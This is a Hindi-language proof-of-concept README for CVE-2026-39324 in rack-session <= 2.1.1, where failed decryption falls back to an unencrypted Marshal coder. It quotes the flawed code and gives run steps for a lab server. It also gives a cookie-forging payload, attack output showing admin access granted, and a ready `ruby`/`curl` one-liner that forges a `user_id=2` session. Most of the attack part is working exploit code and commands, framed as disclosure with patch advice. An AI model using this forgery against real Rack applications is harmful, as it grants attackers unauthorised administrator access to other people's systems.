
Rack::Cookie प्रमाणीकरण बाईपास (CVE-2026-39324) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो फॉलबैक कोडर के माध्यम से सत्र जालसाजी (session forgery) प्रदर्शित करके एडमिन एक्सेस प्राप्त करता है।
Rack::Session::Cookie डिक्रिप्शन विफलता अनएन्क्रिप्टेड कुकीज़ स्वीकार करने पर वापस आ जाती है
| परामर्श | GHSA-33qg-7wpp-89cq |
| पैकेज | rack-session (RubyGems) |
| प्रभावित | <= 2.1.1 |
| पैच किया गया | 2.1.2 |
Rack::Session::Cookie को secrets: के साथ केवल एन्क्रिप्टेड कुकीज़ स्वीकार करनी चाहिए। लेकिन जब डिक्रिप्शन विफल हो जाता है, तो यह कुकी को अस्वीकार नहीं करता — यह डिफ़ॉल्ट Base64::Marshal कोडर पर वापस आ जाता है।
एक हमलावर एक सादा Base64(Marshal.dump(...)) कुकी भेज सकता है और सर्वर इसे वैध सत्र डेटा के रूप में स्वीकार कर लेता है, बिना किसी गुप्त कुंजी को जाने।
rack-session <= 2.1.1Rack::Session::Cookie secrets: विकल्प के साथuser_id, role, आदि) का उपयोग करता हैप्रभावित नहीं:
secret: (एकवचन) — HMAC हस्ताक्षर का उपयोग करता है, अलग कोड पथ। केवल secrets: (बहुवचन, एन्क्रिप्टेड कुकी मोड) कमजोर है।ActionDispatch::Session::CookieStore का उपयोग करता है, अलग कार्यान्वयन।# lib/rack/session/cookie.rb
# फॉलबैक कोडर हमेशा बनाया जाता है, secrets: कॉन्फ़िगरेशन की परवाह किए बिना
@coder = options[:coder] ||= Base64::Marshal.new
# डिक्रिप्ट करने का प्रयास करता है — सभी अनएन्क्रिप्टेड कुकी के लिए विफल हो जाते हैं
encryptors.each do |encryptor|
session_data = encryptor.decrypt(cookie_data) rescue next
break
end
# BUG: अस्वीकार नहीं करता, अनएन्क्रिप्टेड कोडर पर वापस आ जाता है
if !session_data && coder
session_data = coder.decode(cookie_data) # → Marshal.load(Base64.decode64(...))
end
secrets: पथ पर डिक्रिप्ट विफलता अंतिम होनी चाहिए। इसके बजाय यह कुकी को coder.decode() पर पास कर देता है, इसलिए सादा कुकीज़ सत्र डेटा के रूप में लोड हो जाती हैं।
poc/
├── Gemfile rack-session 2.1.1
├── server.rb secrets: कॉन्फ़िगरेशन के साथ Rack ऐप
├── verify.rb बेसलाइन जांच (सामान्य व्यवहार)
└── attack.rb सत्र जालसाजी (एक्सप्लॉइट)
cd poc
bundle install
ruby server.rb & # कमजोर सर्वर शुरू करें
ruby verify.rb # सामान्य व्यवहार की पुष्टि करें
ruby attack.rb # कुकी जालसाजी करें → एडमिन पहुंच
एन्क्रिप्टेड कुकीज़ के लिए secrets: का उपयोग करने वाला Rack ऐप। दो उपयोगकर्ता: id=1 (नियमित), id=2 (एडमिन)। केवल user_id सत्र में संग्रहीत है; एडमिन जांच सर्वर-साइड लुकअप है।
पुष्टि करता है कि सर्वर सही ढंग से काम करता है:
| अनुरोध | अपेक्षित |
|---|---|
GET /admin (कोई कुकी नहीं) | 403 |
POST /login?id=1 | 200, एन्क्रिप्टेड कुकी |
GET /admin (user id=1 कुकी) | 403 |
बिना किसी गुप्त कुंजी के सत्र कुकी जालसाजी करता है।
1) कुकी जालसाजी करें:
payload = { "session_id" => "attacker-forged", "user_id" => 2 }
cookie = Base64.strict_encode64(Marshal.dump(payload))
2) जाली कुकी प्राप्त होने पर सर्वर-साइड प्रवाह:
encryptor #1 decrypt → HMAC अमान्य
encryptor #2 decrypt → HMAC अमान्य
फॉलबैक → coder.decode() → Marshal.load → हमलावर सत्र स्वीकृत
→ session["user_id"] = 2 → एडमिन उपयोगकर्ता हल → 200 OK
$ ruby attack.rb
--- CVE-2026-39324: सत्र जालसाजी ---
लक्ष्य: http://127.0.0.1:9416
पेलोड: {"session_id" => "attacker-forged", "user_id" => 2}
कुकी: rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiFGF0dGFja2VyLWZvcmdlZAY7AFRJIgx1c2VyX2lkBjsAVGkH
सत्र कुकी एन्क्रिप्टर त्रुटि: HMAC अमान्य है ← encryptor #1 विफल
सत्र कुकी एन्क्रिप्टर त्रुटि: HMAC अमान्य है ← encryptor #2 विफल, लेकिन कुकी अस्वीकार नहीं हुई
स्थिति: 200
बॉडी: {"status" => "ok", "message" => "admin panel", "session_hash" => {"session_id" => "attacker-forged", "user_id" => 2}, "current_user" => {"id" => 2, "email" => "[email protected]", "admin" => true}}
[!] कमजोर — जाली user_id=2 स्वीकृत, एडमिन पहुंच प्रदान की गई।
दोनों HMAC जांच विफल हो जाती हैं, लेकिन कुकी अस्वीकार नहीं होती — फॉलबैक कोडर इसे स्वीकार कर लेता है और हमलावर को एडमिन मिल जाता है।
ruby -rbase64 -e 'puts Base64.strict_encode64(Marshal.dump({"user_id"=>2}))'
# → BAh7BkkiDHVzZXJfaWQGOgZFVGkH
curl http://127.0.0.1:9416/admin -H 'Cookie: rack.session=BAh7BkkiDHVzZXJfaWQGOgZFVGkH'
rack-session को >= 2.1.2 पर अपडेट करें